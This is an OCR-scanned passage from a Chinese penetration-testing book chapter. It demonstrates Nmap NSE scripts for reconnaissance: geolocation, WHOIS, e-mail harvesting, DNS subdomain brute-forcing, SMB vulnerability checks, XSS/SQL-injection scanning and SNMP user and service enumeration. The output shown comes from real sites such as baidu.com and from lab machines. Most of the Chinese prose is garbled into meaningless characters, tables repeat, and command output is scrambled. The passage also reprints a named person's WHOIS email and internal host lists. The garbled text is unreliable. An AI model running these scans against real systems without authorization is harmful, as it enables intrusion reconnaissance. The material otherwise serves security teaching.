snmp-win32-services i3t Snmp 412§ Windows i 45/t F
dns-brute M2 DNS IR$5- 230142
http-headers/http-sitemap-generator HTTP 15 B#4E
ssl-enum-ciphers Fe2s SSL %41
ssh-hostkey SSH g - #4315 B

BRIESE

AT E SCFT T Shell %, 1Z4TLA T4 “nmap --script ip-geolocation-* HFx”.

root@Wing:~# nmap --script ip-geolocation-* www.Oday.co

Host is up (0.013s latency) .
Not shown: 998 filtered ports
PORT STATE SERVICE

80/tcp open http

443/tcp open https

Host script results:
ip-geolocation-geobytes:
latitude: 22.283
longitude: 114.15
city: Hong Kong
region: Hong Kong (SAR)

Starting Nmap 6.40 ( http://nmap.org )
Nmap scan report for www.Oday.co

at 2014-06-12 16:03 CST
(210209122 11)

I

|

|

|

|

| country: Hong Kong (SAR)

| ip-geolocation-geoplugin: ERROR: Script execution failed (use -d to debug)
| ip-geolocation-maxmind: ERROR: Script execution failed (use -d to debug)
Nmap done: 1 IP address (1 host up) scanned in 52.66 seconds

root@Wing:~#
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L

ST

MEL IR BRI Erb, AT LASRER H A3l 44 (€ 1P ik, I Hag al DR 52 1% 1P Hhudik
—NEHX [P, XA IP FFIR 07 80 Ui\ 443 sin M. Al ARRAI LY HE T Hix
A 1P X BARENLA OFR, EREERNR, WRBEFRAER T CDN, BAEANT
BRI, RAKEU R Z B A7 4% 1) CDN BRSNS, FFAR B Frisda It A K IER)

1P

k.

Nmap 1R PSR AE T script A, XEHAMSHE AR KLIGE, AERBA

S SRVFR B EXITE.

EER whos =i

£ 7.3 B AARFEN T Nmap 722, KT I G AT T fr@——WHOIS #if .

£73 ATFREWS
- ®m OB

--script ip-geolocation-* IP fii B4R
whois WHOIS #if]
http-email-harvest #4E E-mail 5 &
hostmap-ip2hosts IP X i
dns-brute DNS {5 B I% 5
membase-http-info MRRGHE
smb-security-mode.nse J& B 4T ENH LRSS i
smb-check-vulns.nse AU TR
http-stored-xss.nse 14 Web Uil

snmp-win32-services

JE ik Snmp %1%% Windows fil 55/ S

dns-brute

M2 DNS IR %45 10 E 0L 4

http-headers/http-sitemap-generator

HTTP fi %4

ssl-enum-ciphers

2% SSL # 4]

ssh-hostkey

SSH /iR % % 911 Bl




73 WHOIS &1

WHOIS GEAE “Who is”, MIE4RS) & HIRA ) B 158042 1) 1P LA T & %5 B
s . F 1A WHOIS &£ LAay 217410 (Command Line) f77E, {H2IEHIL T —L
FeF M TR O fRIGE L A v T, FEA ] DA— R R e 208 A Al . T DA W T A
18R 456 WHOIS B i [ AR 55 8% ROZ A fiE K, r SATE QM T RMAR B REEH R A

WHOIS i % £ F TCP #¥ 43 3w 0. S84 5 1P (1) WHOIS {5 & B1xf N B B4R
7, B, Ll.com 4R M4 K WHOIS 15 B H.com M AZIZE R VeriSign &2, EEZKN
3% 4 .cn F CNNIC & ¥,

WHEEAT, AW P MERTLLHEAREBHEHIRSG, RAKNERTERERHEHE
PURHR L) WHOIS AR-28, HAfF e il 4a 1T A0

BIETER

{44 “nmap --script whois H 45”7 B A] A if] H #5344 whois 15 B..

root@Wing:~# nmap --script whois www.Oday.co

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 16:10 CST
Nmap scan report for www.Oday.co (210.209.122.11)

Host is up (0.0063s latency).

Not shown: 998 filtered ports

PORT STATE SERVICE

80/tcp open http

443/tcp open https

Host script results:

| whois: Record found at whois.apnic.net

| inetnum: 210.209.122.0 - 210.209.122.255
| netname: NWTCRS-HK

| descr: NWT CRS Dynamic Pool

| country: HK

| person: Ivan Wong

| _email: ivanwong@newworldtel.com

Nmap done: 1 IP address (1 host up) scanned in 69.23 seconds

root@Wing:~#

T

MIR[E] IR E, Tl 10T LARGE H ARSRAS 1) TP Huhik Je HOT Ui 0, 84 T4
PRI T () P ik D R 542 SR AT b LRI E-mail Hodil o 7648 ] whois 25 ) ) IR SE )30 whois #B 2/
B, RPN RUES S, KRS ILEER S T whois R4, Xt TH&TH &1
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é?ﬁwﬁﬁﬁﬁ

gEA . AT SE AR B, BATTAT LA 384 1) 52 whois, [ 52 whois ] B8 3F 5 H] whois

TRA7 o BATTIE AT LA HIHAR B JLAS whois X HIAS

Nmap scan report for www.Oday.co (210.209.122.11)
Host is up (0.012s latency).

Not shown: 998 filtered ports

PORT STATE SERVICE

80/tcp open http

443/tcp open https

Host script results:

root@Wing: ~#

AT o AT AS 3 [ ) 5 SRt AN R AH TR o

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12

16:34 CST

| whois: ERROR: Script execution failed (use -d to debug)

Nmap done: 1 IP address (1 host up) scanned in 25.81 seconds

WER B AR R %, BT LAME ISR 77 AT & .

NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
Initiating Ping Scan at 16:39
Scanning 3 hosts [4 ports/host]

NSE: Script scanning 3 hosts.

Initiating NSE at 16:39

Completed NSE at 16:39, 5.88s elapsed

Nmap scan report for www.Oday.co (210.209.122.11)
Host is up (0.0031s latency).

Host script results:

| whois: Record found at whois.apnic.net

| imetnum: 210,20%.122.0 = 210.209.122.255
| netname: NWTCRS-HK

| descr: NWT CRS Dynamic Pool

| country: HK

| person: Ivan Wong

| email: ivanwong@newworldtel.com

root@Wing:~# nmap -sn --script whois -v -ilL host.txt

Nmap scan report for www.google.com (74.125.128.103)

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 16:39 CST

Completed Ping Scan at 16:39, 0.01ls elapsed (3 total hosts)
Initiating Parallel DNS resolution of 3 hosts. at 16:39
Completed Parallel DNS resolution of 3 hosts. at 16:39,

2.16s elapsed

root@Wing:~# nmap --script whois --script-args whois.whodb=nofollow www.0day.co



7.4 188 E-mail 58

Host is up (0.0036s latency).

Other addresses for www.google.com (not scanned): 74.125.128.106 74.125.128.105
74.125.128.99 74.125.128.104 74.125.128.147

rDNS record for 74.125.128.103: hg-in-£f103.1el00.net

Host script results:
| whois: Record found at whois.arin.net
| netrange: 74.125.0.0 - 74.125.255.255
| netname: GOOGLE

| orgname: Google Inc.

| orgid: GOGL

| country: US stateprov: CA

|

|

|

orgtechname: Google Inc
_orgtechemail: arin-contact@google.com

Nmap scan report for www.facebook.com (59.24.3.173)
Host is up (0.0034s latency).

Host script results:

| whois: Record found at whois.apnic.net
| inetnom; $9,0:0.0 = $9.31.255.255

| netname: KORNET

| descr: KOREA TELECOM

| country: KR

| person: IP Manager

|_email: kornet_ ip@kt.com

NSE: Script Post-scanning.

Read data files from: /usr/bin/../share/nmap

Nmap done: 3 IP addresses (3 hosts up) scanned in 8.18 seconds
Raw packets sent: 12 (456B) | Rcvd: 3 (120B)

root@Wing:~#

3 Py ~ 1% whois 2 # % 945 BT A MER, FATE T A #) whois 91 %
7| az.

14 ELITT

R 74 PR ARFENPTT Nmap ar@3&, RPN a7 A A /N1 BT i e &
FE

% 4E E-mail
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ERE LU

*74 AHRERS
B & ® B

--script ip-geolocation-* IP {7 B4
whois WHOIS #rif]
http-email-harvest ¥4 E-mail 5§
hostmap-ip2hosts IP 1%
dns-brute DNS {5 B84
membase-http-info KRERZERGE
smb-security-mode.nse Ji 4T ENHLR %5 il
smb-check-vulns.nse B2 B SE ]

http-stored-xss.nse

$34i Web il

snmp-win32-services

i Snmp %1% Windows fif 55/ F

dns-brute B2 DNS k%5251 L4144
http-headers/http-sitemap-generator HTTP {5 B 4848
ssl-enum-ciphers M2¢ SSL 4]

ssh-hostkey

SSH ik %5 % §1{5 SR

E-mail 2 3RATTH & H B 5 fEREAG TH, F—¥K Metasploit %344 22 2 BOB% i )52 R E & K
ki B2 [7] Metasploit & Bl AURIE T —H RSB, 4T RE S EEAREERE EEEF. 4
R, XWIEIE IR H AR E-mail, A/ 1788 7 Wi 5 203% 5L E-mail 5 ..

BRIESE

4 “map --script http-email-harvest H 5" B A #E17 Email £ if].

PORT STATE SERVICE
80/tcp open http
443/tcp open https
| http-email-harvest:

|
| root@Oday.co
| _ admin@Oday.co

root@Wing:~#

Host is up (0.018s latency).
Not shown: 998 filtered ports

Nmap done: 1 IP address (1 host up)

root@Wing:~# nmap --script http-email-harvest www.Oday.co

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 17:10 CST
Nmap scan report for www.Oday.co (210.209.122.11)

Spidering limited to: maxdepth=3; maxpagecount=20

scanned in 79.60 seconds



S

75 IPRE

BRI OL T, http-email-harvest JIAC 2 0o AT HH, XS RIBKAIN R, WIRE
AR AT v 4 A FOu FR e 1 D TR, T RMER-p S 8d R E — M H .
WM& H ] BUF HH Nmap 7] LLSCE#053-Br Hi A7 5C R 354 () Email .

PRz

R 7.5 P AARFE PTG Nmap i@, R I ar & AN Prfsdr&——IP KA.

*75 ATHREWES
i/ S #®m B

--script ip-geolocation-* IP {5 B8 4E
whois WHOIS ]
http-email-harvest J8 4 E-mail 15 &
hostmap-ip2hosts 1P R &
dns-brute DNS fi5 B4R
membase-http-info W& ARG G R
smb-security-mode.nse J& G AT ENHLIR 25 T
smb-check-vulns.nse 3w R EERE R

http-stored-xss.nse

14 Web &l

snmp-win32-services

3L Snmp 1% Windows I 55/0K f

dns-brute

B2 DNS IR g5 & EMLA

http-headers/http-sitemap-generator

HTTP {7 B4R

ssl-enum-ciphers

M2 SSL % 4]

ssh-hostkey

SSH Ik 45 # 911 Bl

BRIEP R

i i fiv4 “nmap -sn --script hostmap-ip2hosts H#r” AT IP g &, 1P & 0] LI A 48
E RN 1P AL Won oK, XRERRATTH AT LIRS 2 #h s LAl e Rl — MR 548 L

root@Wing:~# nmap -sn —--script hostmap-ip2hosts www.Oday.co

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 17:22 CST

Nmap scan report for www.Oday.co
Host is up (0.00090s latency).

(210.209.122.11)
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Host script results:
hosts:
XXX.0rg
XXX.com

XXX.net

|

I

|

| XXX .com
|

| XXXX.CC
|

_ filename: output nmap.orgip=210.209.122.11

Nmap done: 1 IP address (1 host up) scanned in 18.24 seconds

Zaxii)

IP REXEWHHBEARX N IP ERFTAERA, RER K IP MASHEER, WRHK
AR R LU & Bongi R R BFREM T CDN i BnRa R, ERREANERE
ANHERF, U AR TP H AR IER TP,

VDA VR Y £ 2 LA Do sl P4 11, SR e A 381 2% o B8 12 W i GV LE W38T, Nimap
TR

:( Y- MM A 25 :(%e8d CON i Zks HARRIILSE 1P, Blanddzk Hdr EHL

«@7 TR, SR SR IO R .

—T

76 [t TS

% 7.6 Fion AT Nmap 23K, RPN A /N1 AT 2 ——DNS {5 &

o,
#7176 ATRRES
B & ®m B
--script ip-geolocation-* IP {5 B9 4E
whois WHOIS 7]
http-email-harvest 94K E-mail /5 &
hostmap-ip2hosts IP /2 ¥
dns-brute DNS {5 B85
membase-http-info RERZER
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7.6 DNS{ER#E%

- I ®m B
smb-security-mode.nse JG B AT ENHLAR 45
smb-check-vulns.nse A YU R4
http-stored-xss.nse 4 Web il
snmp-win32-services i i Snmp %12 Windows iz 55/1iK )™
dns-brute M2 DNS IR 55 469 EHLA
http-headers/http-sitemap-generator HTTP {7 B %46
ssl-enum-ciphers M2 SSL w4
ssh-hostkey SSH A %% $15 SE8 W

W4 &4t (Domain Name System, DNS) & K4%FM ) —IUARSs . B4 AR 4 1P ik
FHE WS 1 — A A X EE 2, R N SE Jy ( H U [n) ELEX S . DNS {##H] TCP A1 UDP ¥ H
53, MAT, MTEH-REBEAKERREE 63 NF/, Ha B KENARBLT 253 M5,

DNS R4, WK BRI AR B FE LUF LR,

@© EHEFE (ALFE): RFC 103558 X, A WFLEHTLARMBITMEZ LR, BT
(1) = AL 44 BRGS0 E AL TP Hidk b

@ 5l4id% (CNAME id%): RFC 1035 & X, CNAME idsgH T 54N 514 3 0] 215
ANAWEFE L, IERATFEFBAEANTLZZ IR A id%.

® IPv6 FHLLFE (AAAA IE3RK): RFC 3596 & X, 5 A RN, FH TR E R ENA
e 2 — > AL IPve Hidik.

@ AREALESF (SRV IEF): RFC 2782 & X, M XAtk e i %5 MRk &% 8 A &
3 H1 C(hostname). % (port number) %%.

® NAPTR it3%: RFC 3403 & X, BT IENREXTT X LB —M 84 . NAPTR 12
FAERELN—NNARZKT ENUM &,

DNS @i R ifF— NIRRT R — 0 ZFRARS: (ARFTF AN zone) “ZBHE” 45Tk
5-4%, MWMSEEL T —FEREMIZFRZS M. thsh, DNS &4t 7 —HFaE R, R
GiH% BRGE R UK —AENIELE R 2 R G SR A B AL

AT — M TP O THEEHLIMER 7T LAE i DNS SkSEEL A iRE 8RR S R, 4
$EEI4E A JL ) Internet DNS R4 LSLHLRIRA R, RiE “H4 7 EEEHHMN.

XREIET 504 NERRTOEK MR RSB (13 4, A58 AT M. WX
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504 MRARSS 28T, 42 NI Internet DNS iy 44 5 [ 47 Z40 45 HA i) DNS AR 4548, IXEEfR %%
YL DNS 420828 18] RIS 5 B4 o

BRIELE

i fy4 “nmap --script dns-brute H#x” 31T DNS {5 B84 .

root@Wing:~# nmap --script dns-brute www.xXxxX.com

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 17:30 CST
Nmap scan report for nmap (221.192.153.46)

Host is up (0.00017s latency).

All 1000 scanned ports on nmap (221.192.153.46) are filtered

Host script results:

| _dns-brute: Can't guess domain of "nmap"; use dns-brute.domain script argument.

Nmap scan report for www.xxxx.com (xxx.237.1.160)
Host is up (0.024s latency).

Other addresses for www.xxxx.com (not scanned): xxx.10.91.49
rDNS record for xxx.237.1.160: hkhdc.laws.ms

Not shown: 994 filtered ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open  ssh

80/tcp open http

5900/tcp open vnc

8080/tcp open http-proxy

10082/tcp closed amandaidx

Host script results:
dns-brute:
DNS Brute-force hostnames
WWW . XXXX.com — Xxx.237.1.160
corp.xxxx.com - xxx.10.91.49
COrp.XXXX.COom - X¥%X.237.1.160
whois.xxxx.com - xxx.237.1.160

whois.xxxx.com - xxx.10.91.49

I

|

\

|

\

|

\

| ldap.xxxx.com - xxx.10.91.49
| ldap.xxxx.com - xxx.237.1.160
| mx0.xxxx.com - XxX.237.1.160

| mx0.xxxx.com — xxXx.10.91.49

| linux.xxxx.com — xXxx.10.91.49
| linux.xxxx.com — xxx.237.1.160
| mxl.xxxx.com - xxx.10.91.49

| mx]1l.xxxx.com - xxx.237.1.160

| mail.xxxx.com - xXxXx.237.1.160
|

mail.xxxx.com - xxx.10.91.49
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server.xxXxx.com — xxx.10.91.49
server .xXxxx.com — xxx.237.1.160
citrix . ®Xxx.com < XxX..237.1.160
citrix.xxxx.com — xxx.10.91.49
ftpl0.xxxx.com - xxx.237.1.160
ftp0.xxxx.com - xxx.10.91.49
cms . XXxXX.com - xxx.10.91.49

CMS . XXX, COM = XXX 2374 1.160
erp.xxxx.com - xxx.10.91.49
erp.xxxx.com - Xxx.237.1.160
ops.xXXxx.com - xxx.237.1.160

|

|

|

|

|

|

|

|

|

|

|

| ops .xXXxXx.com — xXxx.10.91.49
| host.xxxx.com - xxx.237.1.160

| host.xxxx.com - xxx.10.91.49

| pbx.xxxx.com - xxx.10.91.49

| pbx.xxxx.com - xxx.237.1.160

| log.xxxx.com - xxx.10.91.49

| images.xxxx.com - xxx.10.91.49

| images.xxxx.com - xxx.237.1.160

| internal.xxxx.com - XxXx.237.1.160
| internal .xxxx.com - xxx.10.91.49
| internet.xxxx.com - xxXxX.237.1.160
|

internet.xxxx.com - xxx.10.91.49

Nmap done: 2 IP addresses (2 hosts up) scanned in 193.31 seconds

root@Wing: ~#

T

[0 JIA dns-brute T8 W] LAE 2 H A4z ik, 498256 T2 S Rifd v,
AR T A 48844 #B AT LARc & ) AR Ll oK

ZAARRERAGRERZ 5, WURERH— 1 KB ML, EE RSB, TURE—TH
Hi4: 2, nmap--script dns-brute dns-brute.threads=10 www.xxx.com, B & 10 4NZEFE AN (4]
R SR E . RFTEEWZ DL AR TR € —~413K: nmap --script dns-brute

dns-brute. threads=10,dns-brute.hostlist www.badu.com.

1 EEEOT

® 7.7 PR AARFET T Nmap 4R, R G- A A5 5 # i 2
R &
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x1.7 ATFREDS
B & ®m R
--script ip-geolocation-* IP {5 B4
whois WHOIS #rif]
http-email-harvest U4 E-mail {5 &
hostmap-ip2hosts IP Jz
dns-brute DNS {5 B84
membase-http-info RERGGER
smb-security-mode.nse J& B AT PR S5 Ui
smb-check-vulns.nse ER2 v e SE
http-stored-xss.nse F14t Web Jifi
snmp-win32-services BT Snmp %12& Windows JIz 55/ F*
dns-brute 12 DNS [R4#5 (4 EHL4
http-headers/http-sitemap-generator HTTP {5 S84
ssl-enum-ciphers FeE& SSL % 4
ssh-hostkey SSH Jk 45 % 415 Bl
5 [ i
BIEDR
{4 “nmap -p 445 H#Ar --script membase-http-info” EIA[ BT R R4 .

root@Wing:~# nmap -p 445 192.168.126.131 --script membase-http-info

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 17:54 CST

Nmap scan report for 192.168.126.131

Host is up (0.00027s latency) .

PORT STATE SERVICE

445/tcp open microsoft-ds

| membase-http-info:

| Hostname 192.168.126.131:8091

| 0s x86_64-unknown-linux-gnu

| Version 1.7.2r-20-g6604356

| Kernel wversion 2.14.4

| Mnesia version 4.4.19

| Stdlib version 1.17.4

| 0OS mon version 2572510

| NS server version 1.7.2r-20-g6604356

| SASL version 2.1.9.4

| Status healthy

\ Uptime 21465

| Total memory 522022912

| Free memory 41779200

|  Server list 192.168.126.131:11210
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MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds
root@Wing: ~#

AT

{#F membase-http-info JIASA] LU 5 0 T i HAR RERITEAE S, AR & AT
R NS HAH B Bek.

T

g

18 EEGEELEY &

7.8 Pron AR TG Nmap i 23, RPN A AANT G ar@—/a G 4TEINL
55 el -

*78 ETARHS
- I ®m B
--script ip-geolocation-* IP fii B4R 4E
whois WHOIS ]
http-email-harvest $44E E-mail 5 &
hostmap-ip2hosts IP J 1
dns-brute DNS &5 B4 4
membase-http-info BERSGE
smb-security-mode.nse J& 4T VLR -3 T
smb-check-vulns.nse B2 SHOESE
http-stored-xss.nse 4t Web il
snmp-win32-services if it Snmp %125 Windows il %5/ F
dns-brute #3 DNS Ik 9545 I EH L4
http-headers/http-sitemap-generator HTTP {5 8195
ssl-enum-ciphers H2% SSL % 4]
ssh-hostkey SSH k45 & £315 B
BRIESTR

{4 “nmap --script smb-security-mode.nse -p 445 Hbr” 2+ EIHLR S IR «

' root@Wing:~# nmap --script smb-security-mode.nse -p 445 192.168.126.128
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Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 18:02 CST
Nmap scan report for 192.168.126.128
Host is up (0.00021s latency).

PORT STATE SERVICE

445/tcp open microsoft-ds

MAC Address: 00:0C:29:D3:9D:B9 (VMware)

Host script results:
smb-security-mode:

Account that was used for smb scripts: guest
User-level authentication

B7TE FEEE

|
|
I
|
|

root@Wing:~#

DT

Nmap done: 1 IP address

(dangerous,

(1 host up)

SMB Security: Challenge/response passwords supported

Message signing disabled but default)

scanned in 0.11 seconds

fiiF] smb-security-mode.nse BIAT] LLJE G4 ENHUARSS I, A8 ZAS I FRA 7R B F3hfe

i H o

) rummnam

R 79 PR AATET T Nmap @K, RPN AANTPT T L—RG R

4.
®79 ATFRRGL
- N ®m B
--script ip-geolocation-* IP {5 B84k
whois WHOIS #rif]
http-email-harvest $44E E-mail 158
hostmap-ip2hosts IP X1
dns-brute DNS {5 B84
membase-http-info MERLE R
smb-security-mode.nse Jei 6 4T ENPLAR 55 R i1
smb-check-vulns.nse ARG
http-stored-xss.nse F4 Web il

snmp-win32-services

JH ik Snmp 412 Windows i %5/ /1




g3k
M & .
dns-brute H2é DNS %381 EHLLZ
http-headers/http-sitemap-generator HTTP {5 B4
ssl-enum-ciphers FZ& SSL 4
ssh-hostkey SSH R4 & 4115 BEM

BRIEDR

a4 “nmap --script smb-check-vulns.nse -p 445 H#bx” #1731 Hir RS .

PORT STATE SERVICE

Host script results:
smb-check-vulns:

root@Wing: ~#

DT

445/tcp open microsoft-ds
MAC Address: 00:0C:29:D3:9D:B9 (VMware)

Nmap done: 1 IP address

root@Wing:~# nmap --script smb-check-vulns.nse -p445 192.168.126.128

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 18:22 CST
Nmap scan report for 192.168.126.128
Host is up (0.00027s latency).

|

| MS08-067: CHECK DISABLED (add '--script-args=unsafe=1' to run)

| Conficker: Likely CLEAN

| regsvc DoS: CHECK DISABLED (add '--script-args=unsafe=1' to run)

| SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add '--script-args=unsafe=1' to run)
| MS06-025: CHECK DISABLED (add '--script-args=unsafe=1' to run)

|_ MS07-029: CHECK DISABLED (add '--script-args=unsafe=1' to run)

(1 host up) scanned in 0.25 seconds

1L A smb-check-vulns.nse JHIAS A PAXT SMB il B3EAT £, RIS AN FH QR (34
TR UG5 XN E 2. nf DA U:ai#E T: #TES, XHESEREEARRM

R

N 43 Web iR

% 7.10 Pron AARFEN P Nmap fir 3%, R &4 8 AN dr 4

14 Web
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ETE EREE

Pl 8
*7.10 ATFRFEWS
M & % B
--script ip-geolocation-* IP {5 B4R
whois WHOIS 7]
http-email-harvest %48 E-mail {5 8
hostmap-ip2hosts IP R &
dns-brute DNS {5 B4 4
membase-http-info RERZRFR
smb-security-mode.nse J& & 4T ENHLAR S5 I i
smb-check-vulns.nse B R SHCESER
http-stored-xss.nse F$# Web i
snmp-win32-services it Snmp %1% Windows AR 45/ F
dns-brute 2% DNS %A 1142
http-headers/http-sitemap-generator HTTP {5 B84
ssl-enum-ciphers 2 SSL % 4H
ssh-hostkey SSH Ji %5 % #1115 Bl

BESR

i H#r 4 “nmap -p80 --script http-stored-xss.nse H#Ax” B A[434# H 5 Web Jif .

Service detection

root@Wing:~#

Starting Nmap 6.40 ( http://nmap.org )

Starting Nmap 6.40 ( http://nmap.org )
Nmap scan report for www.2cto.com (27.221.20.217)
Host is up (0.027s latency).

Not shown: 999 filtered ports

PORT STATE SERVICE VERSION

80/tcp open http nginx 1.4.3.6

http://nmap.org/submit/

Nmap done: 1 IP address (1 host up)

root@Wing:~# nmap -p80 --script http-stored-xss.nse www.XXX.com

at 2014-06-12 18:17 CST

root@Wing:~# nmap -sV —--script=http-sgl-injection www.XXX.com

at 2014-06-12 18:18 CST

report any incorrect results

scanned in 99.32 seconds

at



T

Nmap FHE TR 2 (¥) Web Il AL MIIA, HHr, hitp-stored-xss.nse A AT LLHS B 384T
RIS XSS (BBt AT ) i, http-sql-injection JIASTT AFE B EATT & B SQL ¥ A
. fF TOP Jsif I HATH, XSS 45 SQL WrLeFE—H @ fE 85 1, Nmap IIIHIA T LAAEF EAL 1
S8 BRI P AN TR PRI

® @it Snmp 512 Windows [ %/ &

#7101 Jroas A ARTENT TG Nmap fin 238, R IR a2 0 AN BT fn 2 ——#l ik Snmp
%1% Windows JIRZ5/K )7 o

=711 ATR®S
B & wm B

--script ip-geolocation-* IP {7 B84k
whois WHOIS ]
http-email-harvest {94 E-mail {5 &
hostmap-ip2hosts IP Jz 1%
dns-brute DNS fi5 B 848
membase-http-info KMRRLAER
smb-security-mode.nse JG BT EIH LIRSS IR
smb-check-vulns.nse W N EEEE
http-stored-xss.nse 4 Web il
snmp-win32-services & it Snmp 5% Windows R4/
dns-brute 25 DNS %535 1) EHL 2
http-headers/http-sitemap-generator HTTP {5 B 484k
ssl-enum-ciphers ¢ SSL % 4H
ssh-hostkey SSH R4 #8HE BRI

BRIETR

1 fH 44 “nmap -sU -p 161 --script=snmp-win32-services H#x” RIA[i# i Snmp k55X H

bR R G 55 B 7 HEAT B2

root@Wing:~# nmap -sU -p 161 --script=snmp-win32-services 192.168.126.128



160

BTE FEER

| snmp-win32-services:

| Apache Tomcat

| Application Experience Lookup Service
| Application Layer Gateway Service
| Automatic Updates

| COMt+ Event System

| COM+ System Application
| Computer Browser

| Cryptographic Services

| DB2 - DB2COPY1l - DB2

| DB2 Management Service (DB2COPY1)

| DB2 Remote Command Server (DB2COPY1)
| DB2DAS - DB2DASO00

| DCOM Server Process Launcher

nmap -sU -p 161 --script=snmp-win32-users 192.168.126.128

| snmp-win32-users:

| Administrator

| Guest

| IUSR_EDUSRV011l

| IWAM EDUSRVO11l

| SUPPORT 388945a0

| Wing

| SQL

| hack

| patrik

Service detection performed. Please report any incorrect results at
http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 99.32 seconds
root@Wing: ~#

eZxii}
Nmap $#& (1) snmp-win32-services A F] LU 5y B it Snmp A4S 3K B AR IEEB 1T 0

k%, ik snmp-win32-users BIA W] LLE 2 H AR BT A K o JUHEJZZE Nmap Joi5 M H
b Al 25 1) B i AN 2y L X AN A H AR EAT IR

70 e DNS BB %5240 L5

K 712 Fron AARZFEA T Nmap 023K, RPIMGS AN TFiEmS
Ik 5525 80 EALA

FEVE 8 AN 75 S22 ) WA tH %44 T T84 5 DNS RS- 33 EH14, 7E Nmap 4
Fi dns-brute il 4= R AT A FIFRATT I ZE K

%% DNS



F7.12 ATFEWS
B A i
--script ip-geolocation-* IP 5 B85
whois WHOIS ]
http-email-harvest 4 E-mail {58
hostmap-ip2hosts IP fz #F
dns-brute DNS 5 B84
membase-http-info BRALE R
smb-security-mode.nse J& & T ENHLAR 45 iR
smb-check-vulns.nse ARG R
http-stored-xss.nse 13 Web iR
snmp-win32-services B id Snmp 31|23 Windows 45/ /™
dns-brute % DNS R 1 EHL4
http-headers/http-sitemap-generator HTTP {5 B4
ssl-enum-ciphers Me& SSL # 4
ssh-hostkey SSH Hi 45 % 91 (5 B8
BIELR

{4 “nmap --script dns-brute --script-args dns-brute.domain=baidu.com” B[l ] % # %}
baidu.com T34 M 25 .

root@Wing:~# nmap --script dns-brute --script-args dns-brute.domain=baidu.com

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-28 16:03 CST
Pre-scan script results:

| dns-brute:

| DNS Brute-force hostnames:

| stats.baidu.com - 123.129.254.15

| host.baidu.com - 123.129.254.15

| mx.baidu.com - 61.135.163.61

| devel.baidu.com - 221.192.153.42

| svn.baidu.com - 10.65.211.174

| mx0.baidu.com - 123.129.254.15

| development.baidu.com - 123.129.254.15

| administration.baidu.com - 221.192.153.42
| syslog.baidu.com - 221.192.153.42

| mxl.baidu.com - 61.135.163.61

| devsgl.baidu.com - 123.129.254.15

| ads.baidu.com - 10.42.4.225

| test.baidu.com - 180.76.134.214

| mysqgl.baidu.com - 221.192.153.42

| devtest.baidu.com - 123.129.254.15
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[ adserver.baidu.com - 123.129.254.15
| testl.baidu.com - 221.192.153.42

| news.baidu.com - 61.135.185.119

| dhcp.baidu.com - 123.129.254.15

| alerts.baidu.com - 221.192.153.42

| test2.baidu.com - 123.129.254.15

| noc.baidu.com - 123.129.254.15

| direct.baidu.com - 123.129.254.15

| alpha.baidu.com - 123.129.254.15

| ns.baidu.com - 123.129.254.15

| dmz.baidu.com - 123.129.254.15

| testing.baidu.com - 123.125.65.117
| testing.baidu.com - 123.125.112.68
| ap.baidu.com - 221.192.153.42

| ns0.baidu.com - 123.129.254.15

| dns.baidu.com - 202.108.22.220

| upload.baidu.com - 123.129.254.15

| http.baidu.com - 221.192.153.42

| apache.baidu.com - 123.129.254.15

| dnsO.baidu.com - 123.129.254.15

| nsl.baidu.com - 202.108.22.220

| id.baidu.com - 106.120.159.12

| app.baidu.com - 123.125.112.120

| app.baidu.com - 61.135.185.124

| dnsl.baidu.com - 220.181.38.10

| vnc.baidu.com - 221.192.153.42

| ns2.baidu.com - 61.135.165.235

| images.baidu.com - 112.80.248.122

| apps.baidu.com - 123.125.115.49

| voip.baidu.com - 111.206.45.40

| ns3.baidu.com - 220.181.37.10

| dns2.baidu.com - 123.129.254.15

| info.baidu.com - 123.125.114.22

| appserver.baidu.com - 123.129.254.15
| vpn.baidu.com - 61.135.165.126

| ntp.baidu.com - 10.48.28.94

| aptest.baidu.com - 123.129.254.15

| web.baidu.com - 10.48.30.87

| ops.baidu.com - 123.125.114.197

| internet.baidu.com - 61.135.185.119
| en.baidu.com - 123.129.254.15

| web2test.baidu.com - 221.192.153.42
| oracle.baidu.com - 123.129.254.15

| intra.baidu.com - 123.129.254.15

| erp.baidu.com - 10.42.7.18

| backup.baidu.com - 123.129.254.15

| whois.baidu.com - 221.192.153.42

| owa.baidu.com - 123.129.254.15

| intranet.baidu.com - 123.129.254.15
| beta.baidu.com - 123.129.254.15
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wiki.baidu.com - 10.42.7.70
pbx.baidu.com - 123.129.254.15
blog.baidu.com - 123.129.254.15
ipv6.baidu.com - 220.181.57.216
ipvé6.baidu.com - 123.125.114.144
ipv6.baidu.com - 220.181.57.217
www.baidu.com - 61.135.169.121
www.baidu.com - 61.135.169.125
s3.baidu.com - 123.125.115.180
ipvé6.baidu.com - 2400:da00:0:0:0:dbf:0:100
cdn.baidu.com - 10.42.231.41
lab.baidu.com - 61.135.185.144
lab.baidu.com - 123.125.112.77

www2 .baidu.com - 123.125.114.29
secure.baidu.com - 123.129.254.15
chat.baidu.com - 123.129.254.15
ldap.baidu.com - 123.129.254.15
xml.baidu.com - 221.192.153.42
server.baidu.com - 221.192.153.42
citrix.baidu.com - 123,129,254.15
linux.baidu.com - 10.99.31.43
shop.baidu.com - 123.125.112.68
shop.baidu.com - 123.125.65.117
cms.baidu.com - 10.26.7.93
local.baidu.com - 123.125.115.105
sip.baidu.com - 61.135.165.108
corp.baidu.com - 123.129.254.15
log.baidu.com - 10.26.39.14
eshop.baidu.com - 123.129.254.15
smtp.baidu.com - 221.192.153.42
crs.baidu.com - 123.125.114.59
mail.baidu.com - 61.135.163.38
exchange.baidu.com - 123.129.254.15
sgl.baidu.com - 10.26.5.23
cvs.baidu.com - 123.129.254.15
mail2.baidu.com - 123.129.254.15
